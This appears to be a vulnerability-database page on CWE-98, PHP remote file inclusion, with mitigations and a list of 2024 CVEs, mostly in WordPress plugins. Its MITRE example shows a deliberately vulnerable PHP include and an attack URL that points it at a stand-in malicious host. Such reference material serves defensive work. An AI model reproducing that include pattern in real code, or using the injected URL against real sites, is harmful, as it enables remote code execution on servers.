Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) — Vulnerability Class 1309

1309 vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)). AI Chinese analysis included.

CWE-98 represents a critical input validation weakness where PHP applications fail to properly sanitize user-supplied data before passing it to include or require functions. Attackers typically exploit this by injecting malicious URLs or local file paths, enabling Remote File Inclusion (RFI) or Local File Inclusion (LFI). This allows adversaries to execute arbitrary code hosted on external servers or access sensitive system files, often leading to full server compromise. To mitigate this risk, developers must strictly validate and whitelist allowed filenames or paths, ensuring only expected local resources are included. Additionally, disabling the allow_url_include and allow_url_fopen directives in the PHP configuration prevents the inclusion of remote files entirely. Implementing robust input validation and adhering to the principle of least privilege significantly reduces the attack surface associated with dynamic file inclusion mechanisms.

MITRE CWE Description
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.
Common Consequences (1)
Integrity, Confidentiality, Availability Execute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
Mitigations (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE ID Title CVSS Severity Published
CVE-2024-12040 Product Carousel Slider & Grid Ultimate for WooCommerce <= 1.9.10 - Authenticated (Contributor+) Local File Inclusion via 'theme' — Product Carousel Slider & Grid Ultimate for WooCommerce 8.8 High 2024-12-12
CVE-2024-52385 WordPress Team Member – Multi Language Supported Team plugin <= 7.4 - Limited Local File Inclusion vulnerability — Team Member 4.3 Medium 2024-12-09
CVE-2024-54225 WordPress Designer plugin <= 1.4.1 - Local File Inclusion vulnerability — Designer 7.5 High 2024-12-09
CVE-2024-12209 WP Umbrella: Update Backup Restore & Monitoring <= 2.17.0 - Unauthenticated Local File Inclusion — WP Umbrella: Update Backup Restore & Monitoring 9.8 Critical 2024-12-08
CVE-2024-53824 WordPress All Bootstrap Blocks plugin <= 1.3.20 - Local File Inclusion vulnerability — All Bootstrap Blocks 7.5 High 2024-12-06
CVE-2024-11289 Soledad <= 8.5.9 - Unauthenticated Limited Local File Inclusion — Soledad 8.1 High 2024-12-06
CVE-2024-51541 Local File Inclusion — ASPECT-Enterprise 8.2 High 2024-12-05
CVE-2024-11429 Free Responsive Testimonials, Social Proof Reviews, and Customer Reviews – Stars Testimonials <= 3.3.3 - Authenticated (Contributor+) Local File Inclusion — Stars Testimonials — Responsive Reviews & Star Ratings 8.8 High 2024-12-05
CVE-2024-53739 WordPress Cryptocurrency Widgets For Elementor plugin <= 1.6.4 - Local File Inclusion vulnerability — Cryptocurrency Widgets For Elementor 8.1 High 2024-11-30
CVE-2024-52496 WordPress Absolute Addons For Elementor plugin <= 1.0.14 - Local File Inclusion vulnerability — Absolute Addons For Elementor 7.5 High 2024-11-28
CVE-2024-52497 WordPress Shopready plugin <= 3.6 - Local File Inclusion vulnerability — Shopready 7.5 High 2024-11-28
CVE-2024-52499 WordPress Pricing table addon for elementor plugin <= 1.0.0 - Local File Inclusion vulnerability — Pricing table addon for elementor 7.5 High 2024-11-28
CVE-2024-52501 WordPress Office Locator plugin <= 1.3.0 - Local File Inclusion vulnerability — Office Locator 7.5 High 2024-11-28
CVE-2024-10873 LA-Studio Element Kit for Elementor <= 1.4.2 - Authenticated (Contributor+) Local File Inclusion — LA-Studio Element Kit for Elementor 8.8 High 2024-11-23
CVE-2024-10898 Contact Form 7 Email Add on <= 1.9 - Authenticated (Contributor+) Local File Inclusion — Email addon for CF7 8.8 High 2024-11-21
CVE-2024-52450 WordPress nBlocks plugin <= 1.0.2 - Local File Inclusion vulnerability — nBlocks 7.5 High 2024-11-20
CVE-2024-52428 WordPress Ads Booster by Ads Pro plugin <= 1.12 - Local File Inclusion vulnerability — Ads Booster by Ads Pro 8.1 High 2024-11-18
CVE-2024-52386 WordPress Classified Listing plugin <= 3.1.16 - Local File Inclusion vulnerability — Classified Listing 5.3 Medium 2024-11-16
CVE-2024-52381 WordPress ZIJ KART plugin <= 1.1 - Local File Inclusion vulnerability — ZIJ KART 8.1 High 2024-11-14
CVE-2024-10571 Chartify – WordPress Chart Plugin <= 2.9.5 - Unauthenticated Local File Inclusion via source — Chartify – WordPress Chart Plugin 9.8 Critical 2024-11-14
CVE-2024-10871 Category Ajax Filter <= 2.8.2 - Unauthenticated Local File Inclusion — Category AJAX Filter – Advanced Filter for Posts & Custom Post Types 9.8 Critical 2024-11-09
CVE-2024-10436 WPC Smart Messages for WooCommerce <= 4.2.1 - Authenticated (Subscriber+) Local File Inclusion — WPC Smart Messages for WooCommerce 8.8 High 2024-10-29
CVE-2024-50434 WordPress NewsCard theme <= 1.3 - Local File Inclusion vulnerability — NewsCard 7.5 High 2024-10-28
CVE-2024-50435 WordPress Meta News theme <= 1.1.7 - Local File Inclusion vulnerability — Meta News 7.5 High 2024-10-28
CVE-2024-50436 WordPress Clean Retina theme <= 3.0.6 - Local File Inclusion vulnerability — Clean Retina 7.5 High 2024-10-28
CVE-2024-50457 WordPress Qode Essential Addons plugin <= 1.6.3 - Local File Inclusion vulnerability — Qode Essential Addons 7.5 High 2024-10-28
CVE-2024-50497 WordPress Advanced Online Ordering and Delivery Platform plugin <= 2.0.0 - Local File Inclusion vulnerability — Advanced Online Ordering and Delivery Platform 8.1 High 2024-10-28
CVE-2024-8392 WordPress Post Grid Layouts with Pagination – Sogrid <= 1.5.6 - Authenticated (Admin+) Local File Inclusion — WordPress Post Grid Layouts with Pagination – Sogrid 7.2 High 2024-10-26
CVE-2024-49690 WordPress Qi Blocks plugin <= 1.3.2 - Local File Inclusion vulnerability — Qi Blocks 7.5 High 2024-10-23
CVE-2024-49701 WordPress Mags theme <= 1.1.6 - Local File Inclusion vulnerability — Mags 7.5 High 2024-10-23

Vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) represent 1309 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.